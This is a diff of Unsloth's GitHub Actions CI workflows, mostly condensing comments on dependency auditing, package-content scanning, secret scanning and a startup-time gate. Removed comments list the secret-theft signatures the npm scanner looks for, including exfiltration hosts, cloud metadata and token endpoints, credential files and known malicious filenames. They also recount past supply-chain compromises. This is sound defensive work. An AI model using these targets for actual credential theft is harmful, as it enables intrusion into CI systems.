@@ -403,20 +261,14 @@ jobs:
} >> "$GITHUB_STEP_SUMMARY"
# ─────────────────────────────────────────────────────────────
- # npm: Unsloth frontend
# ─────────────────────────────────────────────────────────────
- name: npm audit (Unsloth frontend)
- # `npm audit` resolves the lockfile through the npmjs.com
- # advisory DB. `--audit-level=high` filters the noise floor
- # to only HIGH and CRITICAL. We do NOT pass --omit=dev: a
- # malicious dev-only dep can still steal secrets from a CI
- # runner, so dev deps need to be in the audit surface.
+ # No --omit=dev: a malicious dev dependency can still steal CI secrets.
continue-on-error: true
working-directory: studio/frontend
run: |
set +e
npm audit --audit-level=high | tee ../../logs-npm-audit.txt
- # Always also write the full JSON for grep-ability.
npm audit --json > ../../logs-npm-audit.json || true
{
echo "## npm audit (Unsloth frontend)"
@@ -444,12 +296,8 @@ jobs:
done
# ─────────────────────────────────────────────────────────────
- # cargo: Unsloth Tauri shell
# ─────────────────────────────────────────────────────────────
- name: cargo audit (Unsloth Tauri)
- # `--deny warnings` would make the job fail on any advisory.
- # Keep non-blocking initially; drop continue-on-error after
- # the baseline closes.
continue-on-error: true
working-directory: studio/src-tauri
run: |
@@ -464,16 +312,10 @@ jobs:
} >> "$GITHUB_STEP_SUMMARY"
# ─────────────────────────────────────────────────────────────
- # OSV-Scanner: cross-ecosystem advisory DB (PyPI + npm + cargo)
# ─────────────────────────────────────────────────────────────
- name: Download + verify OSV-Scanner
- # Split out from the scan below so binary integrity is a HARD gate:
- # a checksum mismatch (swapped release asset, the Trivy-style pivot
- # this workflow refuses) fails the job instead of being swallowed by
- # the scan step's continue-on-error. A download still failing after
- # retries is transient, so we skip the scan rather than red-fail.
- # SHA-256 verified BEFORE chmod +x / exec. Bump OSV_SHA256 in lockstep
- # with OSV_VERSION (value from the release's osv-scanner_SHA256SUMS).
+ # Separate step so binary integrity is a hard gate; a download failure only skips the scan.
+ # Bump OSV_SHA256 together with OSV_VERSION.
run: |
set -euo pipefail
OSV_VERSION="v2.0.2"
@@ -495,14 +337,7 @@ jobs:
/tmp/osv-scanner --version
- name: OSV-Scanner (PyPI + npm + cargo, cross-ecosystem advisories)
- # OSV's advisory feed is a superset of GitHub-Advisory + RustSec
- # + npm advisories; running it alongside the per-ecosystem audit
- # tools catches CVEs that haven't propagated to the per-ecosystem
- # DBs yet (e.g. langchain-core CVE-2025-68664 was on OSV before
- # GitHub Advisory). Single binary, one transitive resolver, all
- # three lockfile types in one pass. Binary is checksum-verified in
- # the step above; only the advisory scan stays non-blocking until
- # baselines close.
+ # OSV often has advisories before the per-ecosystem DBs.
continue-on-error: true
run: |
set +e
@@ -534,11 +369,7 @@ jobs:
} >> "$GITHUB_STEP_SUMMARY"
# ─────────────────────────────────────────────────────────────
- # Semgrep: design-flaw detection (catches what regex-pattern
- # scanning of malicious authors cannot, e.g. first-party logic bugs
- # like langchain-core CVE-2025-68664 dumps/dumpd injection,
- # n8n CVE-2025-68668 _pyodide.eval_code sandbox escape, marimo
- # CVE-2026-39987 unauth WebSocket).
+ # Semgrep catches first-party logic bugs that pattern scanning cannot.
# ─────────────────────────────────────────────────────────────
- name: Semgrep (supply-chain + python rule packs)
continue-on-error: true
@@ -565,12 +396,7 @@ jobs:
} >> "$GITHUB_STEP_SUMMARY"
# ─────────────────────────────────────────────────────────────
- # Lockfile pin verifier. The litellm 1.82.7 attack window was
- # ~40 minutes; anyone resolving with `>=` got the malicious
- # version automatically. Flag every spec in the requirements
- # files that does not pin to an exact `==` (or `@` for git
- # refs, or `===` for arbitrary equality). Warning-only for now;
- # graduate to blocking once the baseline is clean.
+ # Flag every requirement not pinned with `==`, `===` or `@` (warning only).
# ─────────────────────────────────────────────────────────────
- name: Lockfile pin verifier (Python requirements)
continue-on-error: true
@@ -618,30 +444,12 @@ jobs:
} >> "$GITHUB_STEP_SUMMARY"
# ─────────────────────────────────────────────────────────────
- # Trivy is deliberately NOT installed here. Trivy was the entry
- # point for the litellm 1.82.7 supply-chain compromise (March
- # 2026): attackers force-rewrote 76 of 77 tags in
- # aquasecurity/trivy-action to point at malicious commits;
- # anyone running the action with a tag ref auto-pulled a
- # credential-harvesting payload. By design a security scanner
- # has broad read access to runner secrets, which is exactly
- # what made it the ideal pivot. We pick up Trivy's CVE coverage
- # from OSV-Scanner (NVD + GHSA + GitLab) and its secret
- # detection from TruffleHog. IaC misconfig detection (Trivy's
- # one unique value-add) is unfilled for now -- revisit with
- # checkov / kics when we ship a Dockerfile or k8s manifests.
- # See https://docs.litellm.ai/blog/security-update-march-2026
- # and the Microsoft / Trend Micro / Snyk incident write-ups.
+ # Trivy is deliberately not used: its action tags were hijacked in the litellm 1.82.7
+ # compromise. OSV-Scanner and TruffleHog cover its CVE and secret detection.
# ─────────────────────────────────────────────────────────────
# ─────────────────────────────────────────────────────────────
- # TruffleHog secret-leak scan on the PR diff. Catches API keys
- # / tokens / cred files committed accidentally. --only-verified
- # filters out probabilistic findings, so we only flag tokens
- # that the source provider confirmed are live. On push to main
- # we scan the full repo; on PR we scan base..head.
- # SHA-pinned for the same reason as harden-runner above.
- # v3.95.2 commit:
+ # TruffleHog: verified secrets only; full repo on push to main, base..head on PRs.
# ─────────────────────────────────────────────────────────────
- name: TruffleHog (secrets in diff)
continue-on-error: true
@@ -650,18 +458,10 @@ jobs:
path: ./
base: ${{ github.event.pull_request.base.sha || '' }}
head: ${{ github.event.pull_request.head.sha || github.sha }}
- # The action passes --no-update internally; passing it here
- # too triggers `flag 'no-update' cannot be repeated`. Stick
- # with --only-verified so we only flag tokens the source
- # provider confirmed are live (no probabilistic findings).
+ # The action already passes --no-update; repeating it is an error.
extra_args: --only-verified
# ─────────────────────────────────────────────────────────────
- # CycloneDX SBOM. Lets downstream consumers audit what's
- # actually shipped in unsloth wheels and the Unsloth backend
- # runtime. Generates one JSON file per requirements input plus
- # a combined SBOM keyed off pyproject.toml; uploads as a build
- # artifact (and a future step can attest it via SLSA).
# ─────────────────────────────────────────────────────────────
- name: Generate CycloneDX SBOM
continue-on-error: true
@@ -669,11 +469,7 @@ jobs:
set +e
python -m pip install --quiet 'cyclonedx-bom>=4.6'
mkdir -p sbom
- # Per-requirements-file SBOM (the audit-reqs/ files are the
- # filtered, git+-stripped views built earlier in this job).
- # cyclonedx-py 4.x uses `--sv` for spec version and `-o` for
- # the output file; the older `--schema-version`/`--outfile`
- # spellings are not accepted.
+ # cyclonedx-py 4.x uses `--sv` and `-o`; the old long spellings are rejected.
for f in audit-reqs/*.txt; do
base=$(basename "$f" .txt)
if grep -qE '^[^#[:space:]]' "$f"; then
@@ -683,7 +479,6 @@ jobs:
-o "sbom/sbom-$base.json" 2>&1 | tail -5 || true
fi
done
- # Project-level SBOM from pyproject.toml.
cyclonedx-py environment \
--sv 1.6 \
--of JSON \
@@ -697,11 +492,9 @@ jobs:
} >> "$GITHUB_STEP_SUMMARY"
# ─────────────────────────────────────────────────────────────
- # GitHub Actions pinning verifier. tj-actions/changed-files
- # was compromised in March 2025; anyone using `@v4` (a mutable
- # ref) auto-shipped the malicious version. Catch every
+ # Mutable tags were the tj-actions attack vector. Catch every
# non-SHA-pinned `uses:` across the workflows tree. Warn-only
- # initially so the existing baseline doesn't block PRs.
+ # initially so the existing baseline does not block PRs.
# ─────────────────────────────────────────────────────────────
- name: GitHub Actions pinning verifier
continue-on-error: true
@@ -751,14 +544,7 @@ jobs:
} >> "$GITHUB_STEP_SUMMARY"
# ─────────────────────────────────────────────────────────────
- # Hash-pin verifier. `==` pinning protects against version
- # drift but not against a re-uploaded malicious wheel at the
- # same version (PyPI lets a yanked release be re-published with
- # different bytes for ~5 minutes via `--filename` collision).
- # `pip install --require-hashes` rejects any download whose
- # SHA-256 doesn't match. Inspector step that reports how many
- # specs would gain from a hash pin -- conversion is a roadmap
- # item (needs pip-tools / uv pip compile --generate-hashes).
+ # Report requirements lacking hash pins (--require-hashes); conversion is a roadmap item.
# ─────────────────────────────────────────────────────────────
- name: Hash-pin verifier (Python requirements)
continue-on-error: true
@@ -821,40 +607,10 @@ jobs:
retention-days: 30
# ─────────────────────────────────────────────────────────────────────
- # Python: pre-install package scan (no install, no execution)
# ─────────────────────────────────────────────────────────────────────
pip-scan-packages:
- # Downloads each declared dep WITHOUT installing it and inspects
- # the archive contents for known malicious patterns: weaponized
- # .pth files, credential stealers, obfuscated payloads,
- # install-time droppers, suspicious subprocess / network /
- # base64-blob combinations.
- #
- # This is the kind of check that would have caught:
- # - litellm 1.82.7 / 1.82.8 (March 2026, supply-chain compromise)
- # - the typo-squat campaign against PyTorch Lightning
- # before either landed in the install path. pip-audit only knows
- # about CVE-published vulnerabilities, so it does NOT see novel
- # malicious uploads. scan_packages.py runs deterministic regex
- # pattern matching, no LLM calls.
- #
- # `--with-deps` makes the scan transitive: every package the
- # declared set resolves to gets fetched and pattern-scanned, not
- # just the top-level pins. Resolving the full transitive closure
- # of the unsloth + Unsloth dep tree downloads several hundred
- # archives, hence the longer timeout.
- #
- # Sharded across runners for wall-clock parallelism. Each shard
- # runs scan_packages.py once with --with-deps so its own slice
- # benefits from pip's deduped transitive resolve. Shard
- # composition tries to balance load:
- # - hf-stack: pyproject extras + no-torch-runtime
- # (~150 archives, transformers/peft/accelerate/...)
- # - studio: FastAPI/Unsloth backend + overrides + extras-no-deps
- # (~150 archives, smaller scientific stack)
- # - extras: the heavy openai-whisper / scikit-learn / librosa
- # stack (~250 archives, dominant cost)
- # triton-kernels.txt is git+-only, fully skipped.
+ # Download (never install) the transitive closure and pattern-scan archives for malicious
+ # payloads pip-audit cannot see. Sharded by load; triton-kernels.txt is git+-only.
name: ${{ matrix.shard.name }}
runs-on: ubuntu-latest
timeout-minutes: 25
@@ -871,9 +627,8 @@ jobs:
- name: 'pip scan-packages :: extras'
id: extras
files: 'extras'
- # scan_packages.py keeps the first requirement per normalised package name, so the
- # torchcodec lines have to be scanned apart or only one of them is ever fetched.
- # They are one package each, so the shards are cheap.
+ # scan_packages.py keeps the first requirement per package name, so each torchcodec line
+ # needs its own shard.
- name: 'pip scan-packages :: audio-torch290'
id: audio-torch290
files: 'audio-torch290'
@@ -881,12 +636,7 @@ jobs:
id: audio-torch280
files: 'audio-torch280'
steps:
- # Egress block on every shard. Each shard pulls hundreds of
- # PyPI archives -- if a malicious wheel ever phones home from
- # within the scanner sandbox (it shouldn't; we never execute
- # the archive), harden-runner now rejects the connect outright.
- # Per-job allowlist: pip-scan-packages only fetches PyPI archives
- # via scan_packages.py + pip download. No npm or cargo traffic.
+ # Egress block: this job only fetches PyPI archives.
- name: Harden runner (egress block)
uses: step-security/harden-runner@ccd8616d44fd3846e67624a50d5aad6d37bf2d25 # v2.22.1
with:
@@ -909,20 +659,11 @@ jobs:
python-version: '3.12'
- name: Install scan_packages.py runtime deps
- # scan_packages.py imports requests + packaging at runtime to
- # talk to PyPI's JSON API and to parse version specifiers. We
- # do not install the packages it scans -- those are downloaded
- # raw and inspected without ever touching `pip install`.
run: python -m pip install --upgrade pip requests packaging
- name: Build filtered requirements set
- # Mirrors the advisory-audit job's input transform: pyproject.toml
- # extraction + git+ stripping. scan_packages.py downloads
- # PyPI archives without building, so it tolerates legacy
- # setup.py packages (no resolver dry-run); but `--with-deps`
- # delegates resolution to a single `pip download` call that
- # cannot satisfy `git+` specs without git operations, so we
- # strip them here too.
+ # Same input transform as advisory-audit; `git+` specs are stripped because `pip download`
+ # cannot resolve them.
run: |
mkdir -p audit-reqs
python <<'PY' > audit-reqs/unsloth-deps.txt
@@ -987,44 +728,17 @@ jobs:
done
- name: Sanity-check scan_packages.py
- # The scanner lives at scripts/scan_packages.py in this repo
- # so we don't depend on a network fetch at job time.
run: |
test -f scripts/scan_packages.py
head -3 scripts/scan_packages.py
grep -q "Standalone pre-install package scanner" scripts/scan_packages.py
- name: Scan declared + transitive Python deps
- # scan_packages.py exits 1 on NON-baselined CRITICAL/HIGH
- # findings, 0 otherwise. It scans code-only (docstrings and
- # comments are blanked first) and suppresses reviewed
- # known-good findings via scripts/scan_packages_baseline.json,
- # so legitimate-library noise no longer red-fails the gate.
- # The step stays advisory until SCAN_ENFORCE=1 (see env below);
- # then PIPESTATUS propagates the scanner's exit code.
- #
- # `--with-deps` walks PyPI metadata to enumerate every
- # transitive dep the declared set would install, then scans
- # them all. Without this flag, we'd only catch a malicious
- # *direct* dep -- and supply-chain attacks usually land
- # several hops down (litellm 1.82.7 was a dep of a dep for
- # most users).
- #
- # This step runs once per matrix shard. Within a shard, every
- # -r file is fed to a single `pip download` call so pip
- # intersects version constraints and yields a deduped
- # transitive set (no point fetching the same transformers
- # wheel five times). Across shards we accept some redundant
- # downloads in exchange for wall-clock parallelism.
+ # Exits 1 only on non-baselined CRITICAL/HIGH findings (baseline:
+ # scripts/scan_packages_baseline.json). One `pip download` per shard dedups the closure.
env:
SHARD_FILES: ${{ matrix.shard.files }}
- # Enforcement switch. "1" = blocking: a non-baselined CRITICAL/HIGH
- # fails the build. scan_packages.py scans code-only (docstrings/comments
- # stripped), fetches sdist-only packages directly from PyPI (no build)
- # so every shard resolves, and honors the reviewed allowlist at
- # scripts/scan_packages_baseline.json, so only NON-baselined
- # CRITICAL/HIGH cause its exit 1. The committed baseline makes all three
- # shards exit 0 today; set this back to "0" to return to advisory.
+ # "1" = blocking; set "0" to return to advisory.
SCAN_ENFORCE: "1"
run: |
set +e
@@ -1063,9 +777,7 @@ jobs:
tail -200 "$LOG"
echo '```'
} >> "$GITHUB_STEP_SUMMARY"
- # Advisory by default; blocking once SCAN_ENFORCE=1 and the baseline
- # is committed. PIPESTATUS is captured above so `tee` does not mask the
- # scanner's exit code.
+ # PIPESTATUS is captured above so `tee` does not mask the exit code.
if [ "$SCAN_ENFORCE" = "1" ]; then
exit "$rc"
fi
@@ -1080,42 +792,16 @@ jobs:
retention-days: 30
# ─────────────────────────────────────────────────────────────────────
- # npm: pre-install tarball content scan.
# ─────────────────────────────────────────────────────────────────────
npm-scan-packages:
- # Counterpart to pip-scan-packages for the npm side. Reads
- # studio/frontend/package-lock.json, downloads each resolved
- # tarball DIRECTLY from registry.npmjs.org (never via `npm
- # install` -- no lifecycle scripts ever run), verifies the
- # lockfile integrity hash, unpacks each tarball into a sandboxed
- # temp dir behind size / count / path-escape / symlink guards,
- # and pattern-scans the extracted file contents for the
- # signatures common to npm supply-chain attacks:
- #
- # - lifecycle (preinstall / install / postinstall / prepare)
- # scripts in any package.json that fetch + execute external
- # code,
- # - C2 / exfiltration hosts (getsession.org, AWS IMDS,
- # Kubernetes ServiceAccount token paths, GitHub Actions OIDC,
- # HashiCorp Vault endpoints),
- # - credential-stealing references (.npmrc, .aws/credentials,
- # GITHUB_TOKEN / NPM_TOKEN in JS sources),
- # - known IOC filenames (router_init.js, tanstack_runner.js,
- # router_runtime.js),
- # - obfuscation shapes (Function/eval against base64 blobs).
- #
- # Threat model: every tarball is hostile. Safety guarantees are
- # documented at scripts/scan_npm_packages.py top-of-file. The
- # script is stdlib-only so adding it does not increase the
- # transitive supply-chain surface.
+ # npm counterpart: fetch each lockfile tarball directly (never `npm install`), verify
+ # integrity, extract with guards and pattern-scan. Stdlib-only; every tarball is hostile.
name: npm scan-packages (Unsloth frontend tarballs)
runs-on: ubuntu-latest
timeout-minutes: 30
needs: []
steps:
- # Per-job allowlist: npm-scan-packages only fetches tarballs from
- # registry.npmjs.org. GitHub endpoints retained for checkout +
- # setup-python action machinery.
+ # Egress: registry.npmjs.org plus GitHub for checkout/setup machinery.
- name: Harden runner (egress block)
uses: step-security/harden-runner@ccd8616d44fd3846e67624a50d5aad6d37bf2d25 # v2.22.1
with:
@@ -1142,14 +828,7 @@ jobs:
python3 -c "import ast; ast.parse(open('scripts/scan_npm_packages.py').read())"
- name: Scan npm tarballs (declared + transitive, no install)
- # scan_npm_packages.py exits 1 on NON-baselined HIGH/CRITICAL
- # findings, 0 otherwise. It scans code-only (JS/TS comments are
- # blanked first) and honors a reviewed allowlist at
- # scripts/scan_npm_packages_baseline.json. It never runs
- # `npm install`, never executes anything from a downloaded
- # tarball, and only fetches from registry.npmjs.org. The npm
- # corpus is clean (the baseline is empty), so the gate is
- # enforcing (SCAN_ENFORCE=1) and any new finding fails the build.
+ # Blocking on non-baselined HIGH/CRITICAL (scripts/scan_npm_packages_baseline.json).
env:
SCAN_ENFORCE: "1"
run: |
@@ -1167,9 +846,7 @@ jobs:
tail -300 "$LOG"
echo '```'
} >> "$GITHUB_STEP_SUMMARY"
- # Blocking: the npm corpus is clean, so any non-baselined
- # HIGH/CRITICAL is new and should fail the build. PIPESTATUS is
- # captured above so `tee` does not mask the scanner's exit code.
+ # PIPESTATUS is captured above so `tee` does not mask the exit code.
if [ "$SCAN_ENFORCE" = "1" ]; then
exit "$rc"
fi
@@ -1182,20 +859,8 @@ jobs:
retention-days: 30
# ─────────────────────────────────────────────────────────────────────
- # npm provenance + new install-script diff. Catches the two npm
- # supply-chain levers we don't yet gate on:
- #
- # 1. `npm audit signatures` validates the registry-signed
- # provenance of every tarball laid down in node_modules. Pulled
- # from the public npm transparency log; surfaces unsigned or
- # mis-signed deps. Informational for now (continue-on-error)
- # while the baseline settles.
- #
- # 2. `check_new_install_scripts.py` diffs the PR's lockfile
- # against the base ref and refuses any newly-added dep that
- # ships a postinstall hook. Every recent npm supply-chain
- # compromise leveraged a postinstall as the execution lever, so
- # blocking new ones at PR time is a small, high-signal gate.
+ # `npm audit signatures` (advisory) plus check_new_install_scripts.py, which blocks newly
+ # added dependencies that ship install hooks.
# ─────────────────────────────────────────────────────────────────────
npm-provenance-and-install-scripts:
name: npm provenance + new install-script diff
@@ -1216,8 +881,7 @@ jobs:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
- # Need the base commit accessible for `git show
- # <base-sha>:studio/frontend/package-lock.json` below.
+ # Base commit needed for `git show <base-sha>:.../package-lock.json`.
fetch-depth: 0
persist-credentials: false
@@ -1230,10 +894,7 @@ jobs:
python-version: '3.12'
- name: Install Unsloth frontend deps (--ignore-scripts)
- # `npm audit signatures` requires node_modules to be populated.
- # `--ignore-scripts` is mandatory: this is exactly the lever the
- # new-install-script gate below protects against, and we must
- # not run any third-party hook to set up the audit.
+ # --ignore-scripts is mandatory: no third-party hook may run here.
working-directory: studio/frontend
run: |
retry() { # retry <max-attempts> <command...> with exponential backoff
@@ -1248,18 +909,11 @@ jobs:
sleep "$delay"; n=$((n + 1)); delay=$((delay * 2))
done
}
- # --ignore-scripts is mandatory here (no third-party hook runs);
- # the retry only re-attempts the registry fetch, it never relaxes
- # that flag or the package-lock integrity check npm ci enforces.
retry 5 npm ci --ignore-scripts
(cd ../backend/core/data_recipe/oxc-validator && retry 5 npm ci --ignore-scripts)
(cd .. && retry 5 npm ci --ignore-scripts)
- name: npm audit signatures (informational)
- # Surfaces unsigned / mis-signed packages from the npm
- # transparency log. continue-on-error during baseline-build
- # phase; promote to hard gate once the lockfile is fully
- # signed (most major maintainers signed by mid-2025).
continue-on-error: true
run: |
set -o pipefail
diff --git a/.github/workflows/stale.yml b/.github/workflows/stale.yml
index 5e9ab09623d..34b15af4801 100644
--- a/.github/workflows/stale.yml
+++ b/.github/workflows/stale.yml
@@ -2,11 +2,9 @@ name: 'Inactive Issue Pinger'
on:
schedule:
- - cron: '30 5 * * *' # Runs at 5:30 UTC every day
+ - cron: '30 5 * * *'
-# Serialize, never cancel. This job comments on up to 500 issues per run, so a
-# cancelled run leaves a half-pinged backlog and no record of where it stopped.
-# Two runs overlapping would double-ping the same issues.
+# Serialize, never cancel: a cancelled run leaves a half-pinged backlog; overlap double-pings.
concurrency:
group: stale-${{ github.repository }}
cancel-in-progress: false
@@ -20,25 +18,18 @@ jobs:
steps:
- uses: actions/stale@4391f3da665fdf50b6810c1a66712fb9ba21aa93 # v11.0.0
with:
- # The message to post on stale issues.
- # This message will ping the issue author.
- # Note: The stale bot action does not currently support a direct placeholder for the last commenter.
- # As a workaround, this message encourages any participant to reply.
+ # Pings the author; the action has no placeholder for the last commenter.
stale-issue-message: >
Is this issue still important to you?
Apologies in advance we might have missed this issue as well.
For faster response times, please post on our Reddit server - https://www.reddit.com/r/unsloth or our Discord - https://discord.com/invite/unsloth
- # The number of days of inactivity before an issue is considered stale.
days-before-issue-stale: 9999
- # Set to -1 to never close stale issues.
days-before-issue-close: -1
- # A label to apply to stale issues.
stale-issue-label: 'inactive'
- # The number of operations to perform per run to avoid rate limiting.
operations-per-run: 500
enable-statistics: false
diff --git a/.github/workflows/startup-profile-ci.yml b/.github/workflows/startup-profile-ci.yml
index c3449218a4d..e22d6cf145c 100644
--- a/.github/workflows/startup-profile-ci.yml
+++ b/.github/workflows/startup-profile-ci.yml
@@ -1,64 +1,31 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Measures where Unsloth's startup time goes, on each platform.
-#
-# Nothing recorded a number before: main.py logs "lifespan startup completed in X ms"
-# and studio_test_kit polls /healthz, but both throw the elapsed time away. A first
-# local run (Linux, warm cache, 18-core server) put `import main` at 5.7-6.6s BEFORE
-# the server can bind, dominated by eager module-level imports pulled in by routes:
-# torch ~1.9s self, unsloth_zoo ~0.8s, routes ~0.6s, transformers ~0.5s.
-#
-# Now a gate. The budgets below come from this workflow's own history rather than a
-# guess: 33 completed runs, 99 profiles, 297 launches, no failed launch. Median time to
-# a healthy port was 3.24s on ubuntu, 3.02s on macos, 5.11s on windows.
-#
-# Sized for a slow runner, not for the median one. A hosted runner can be slow for a
-# whole run: macos-15 in run 31932608086 came in at 5.03/5.52/5.66s, 1.8x its own
-# median, on a PR that changed nothing here. So each budget is 2x the observed median
-# rounded up to the next half second, floored at 1.4x the slowest median seen. Anything
-# tighter fails unrelated PRs on runner luck.
-#
-# What that catches is a torch-sized regression, about 5s, not a 1-2s one. A 2.2s
-# regression of the pandas kind shows up in the import table in the job summary, which
-# is what found it; the gate is here to stop the catastrophic case, not to measure.
-#
-# Raise a budget in the same PR as the import that needed it, with the run that shows
-# it, exactly as with the frontend startup budget.
-#
-# Do not make this a required status check while it is filtered by paths. A workflow
-# skipped by path filtering never reports, so a required check on it sits Pending and
-# blocks every PR that does not touch the list below:
-# https://docs.github.com/en/pull-requests/how-tos/merge-and-close-pull-requests/troubleshooting-required-status-checks
+# Startup-time gate. Budgets are 2x the observed median rounded up to 0.5s, floored at
+# 1.4x the slowest median, so runner luck does not fail PRs; it catches torch-sized
+# regressions. Raise a budget in the PR that needs it. Not a required check while
+# path-filtered: a skipped workflow never reports.
name: Startup profile
on:
pull_request:
paths:
- # The measured import graph is the whole backend tree: main.py imports auth,
- # core, hub, loggers, models, picker, routes and utils at module scope.
+ # main.py imports the whole backend tree at module scope.
- 'studio/backend/**'
- '!studio/backend/tests/**'
- # The launch phase spawns `unsloth studio --api-only`, so the CLI counts too.
+ # The launch phase spawns `unsloth studio --api-only`.
- 'unsloth_cli/**'
- 'studio/src-tauri/src/preflight**'
- # The profiler hardcodes the desktop argv that process.rs::backend_args builds,
- # so a change there must schedule a run or the two silently diverge.
+ # The profiler hardcodes the argv process.rs::backend_args builds; keep them in sync.
- 'studio/src-tauri/src/process.rs'
- 'scripts/profile_startup.py'
- '.github/workflows/startup-profile-ci.yml'
- # The install step runs install.sh --local and install.ps1 --local on all three
- # cells. The setup scripts listed above run every studio/install_*.py module and
- # nvidia_probe.py, and the installers read the prebuilt pins, so these change what
- # gets installed before the profile is taken.
+ # The installers run these modules and read the prebuilt pins.
- 'studio/install_*.py'
- 'studio/prebuilt_core.py'
- 'studio/nvidia_probe.py'
- 'studio/node_prebuilt_pins.json'
- # The job profiles whatever `install.sh --local` built: the installers pick the
- # venv's Python and the dependency specs, and pyproject's include list is what
- # makes --local overlay studio.backend*.
- 'install.sh'
- 'install.ps1'
- '.github/actions/frontend-dist-restore/action.yml'
@@ -66,9 +33,6 @@ on:
- '.github/actions/uv-cache-restore/action.yml'
- '.github/actions/uv-cache-save/action.yml'
- 'pyproject.toml'
- # --local also runs the checkout's setup scripts (install.sh picks
- # $_REPO_ROOT/studio/setup.sh, the editable install resolves setup.ps1 to the
- # repo), and both call install_python_stack.py, which picks the dependencies.
- 'studio/setup.sh'
- 'studio/setup.ps1'
- 'studio/install_python_stack.py'
@@ -94,8 +58,7 @@ jobs:
strategy:
fail-fast: false
matrix:
- # Per the header rule. Slowest median seen in 33 runs, which is what the 1.4x
- # floor is taken from: ubuntu 3.52s, macos 5.52s, windows 5.55s.
+ # Slowest medians (1.4x floor source): ubuntu 3.52s, macos 5.52s, windows 5.55s.
include:
- os: ubuntu-latest
max_healthz_seconds: '6.5'
@@ -106,7 +69,7 @@ jobs:
env:
UNSLOTH_STUDIO_HOME: ${{ github.workspace }}/.studio-home
- # A wildcard bind calls ifconfig.me on the startup path; loopback times our code.
+ # A wildcard bind calls ifconfig.me on the startup path.
UNSLOTH_STUDIO_DISABLE_PUBLIC_CHECK: '1'
steps:
@@ -114,32 +77,7 @@ jobs:
with:
persist-credentials: false
- # Safe for what this job measures, which is the reason to check rather than
- # assume: `profile_startup.py` times `import main` and time-to-a-healthy-port
- # AFTER the install, and the gate is `--max-healthz-seconds`. Install duration
- # is neither measured nor gated. Under `--api-only` the launched server never
- # resolves a frontend at all -- `_frontend_serving_mode` returns serve=False
- # with no Tauri owner, so the mount block is skipped -- so a byte-identical
- # prebuilt dist and a locally built one are indistinguishable to every number
- # this job reports.
- #
- # All three legs, not just Windows: `fe-dist-Linux` and `fe-dist-macOS` are
- # already on main from #9375, so ubuntu and macos-15 hit on the first run.
- #
- # RESTORE ONLY, and that is a property of this workflow's triggers rather than an
- # oversight. It runs on `pull_request` and `workflow_dispatch` and nothing else --
- # no `push`, no `schedule` -- so `github.ref` is `refs/pull/N/merge` on every
- # automatic run and a save gated on `refs/heads/main` could only ever fire when a
- # human dispatched it from main by hand. A cache that fills only when somebody
- # remembers to press a button is not a cache; pairing a save here would be dead
- # config that reads as a caching decision which is not in force. The producers are
- # the five workflows that do run on push to main.
- #
- # tests/studio/test_frontend_dist_cache.py derives this from the `on:` block rather
- # than allowlisting the filename, so adding `push:` here without adding the save --
- # or adding the save without the trigger -- goes red.
- # The uv download cache the producers fill on main. No push and no schedule here,
- # so this workflow only ever consumes it (as the dist restore below argues).
+ # Restore only: no push/schedule trigger, so a main-gated save fires only on manual dispatch.
- name: Restore the uv download cache
id: uv-cache
uses: ./.github/actions/uv-cache-restore
@@ -155,19 +93,14 @@ jobs:
run: |
set -o pipefail
mkdir -p logs
- # --local is load-bearing: it overlays the checkout, so the profiled server
- # is this diff. Without it install.sh resolves unsloth from PyPI.
+ # --local overlays the checkout, so the profiled server is this diff.
if [ "${{ runner.os }}" = "Windows" ]; then
pwsh -NoProfile -File ./install.ps1 --local 2>&1 | tee logs/install.log
else
bash install.sh --local 2>&1 | tee logs/install.log
fi
- # No save here (see the restore step). The assertion half of the pair is still
- # worth running: a hit that got rebuilt anyway is the one failure mode of this
- # cache that nothing else reveals, and this job restores on all three OSes, so it
- # is a useful place to catch it. `save: 'false'` runs the check and skips the
- # upload.
+ # `save: 'false'` still checks that a restored dist was reused, without uploading.
- name: Check the restored frontend was reused
uses: ./.github/actions/frontend-dist-save
with:
@@ -175,7 +108,6 @@ jobs:
key: ${{ steps.fe-dist.outputs.key }}
save: 'false'
- # No upload, for the reason the dist save above gives: nothing here runs on main.
- name: Declare this job a uv cache consumer, not a producer
uses: ./.github/actions/uv-cache-save
with:
@@ -186,15 +118,12 @@ jobs:
- name: Profile startup
shell: bash
run: |
- # Explicit rather than load-bearing: `shell: bash` already runs
- # `bash --noprofile --norc -eo pipefail {0}`. Written out because the gate's
- # exit code reaches this step only through the pipe into tee, so it has to
- # survive the shell key being dropped or changed to `bash {0}`.
+ # Explicit pipefail: the gate's exit code reaches this step only through the tee pipe.
set -o pipefail
BIN="$UNSLOTH_STUDIO_HOME/unsloth_studio/bin/unsloth"
[ -x "$BIN" ] || BIN="$UNSLOTH_STUDIO_HOME/unsloth_studio/Scripts/unsloth.exe"
[ -x "$BIN" ] || BIN=""
- # Profile imports with the INSTALLED interpreter: that venv is what launches.
+ # Profile with the installed venv interpreter, which is what launches.
PY="$UNSLOTH_STUDIO_HOME/unsloth_studio/bin/python"
[ -x "$PY" ] || PY="$UNSLOTH_STUDIO_HOME/unsloth_studio/Scripts/python.exe"
[ -x "$PY" ] || PY="$(command -v python3 || command -v python)"
diff --git a/.github/workflows/studio-api-smoke.yml b/.github/workflows/studio-api-smoke.yml
index 5f49d86ee7b..d7a83daa243 100644
--- a/.github/workflows/studio-api-smoke.yml
+++ b/.github/workflows/studio-api-smoke.yml
@@ -1,62 +1,35 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Unsloth API & Auth Tests -- HTTP-level integration tests for the
-# FastAPI surface. No Playwright, no model UI; tests/studio/test_studio_api_smoke.py
-# runs ~30 s and asserts:
-# - CORS hardening (no wildcard + credentials, no bootstrap leak)
-# - /api/system + /api/system/hardware require auth
-# - Auth state machine + JWT expiry
-# - API key lifecycle E2E (create / list / use / delete / reject)
-# - Auth file-mode hardening (Linux only)
-# - Inference lifecycle (force reload, bogus variant, /v1/models, /v1/embeddings, /v1/responses)
-# - Endpoint-by-endpoint auth audit
-#
-# Reuses the GGUF cache key from studio-ui-smoke.yml so the model
-# download is one cache-hit on the second job.
+# HTTP-level integration tests for the FastAPI surface (tests/studio/studio_api_smoke.py).
name: Unsloth API CI
on:
pull_request:
paths:
- # What the test boots: the FastAPI backend, the installer that lays it down and
- # the CLI that launches it. Not studio/** plus unsloth/**, which fired the job for
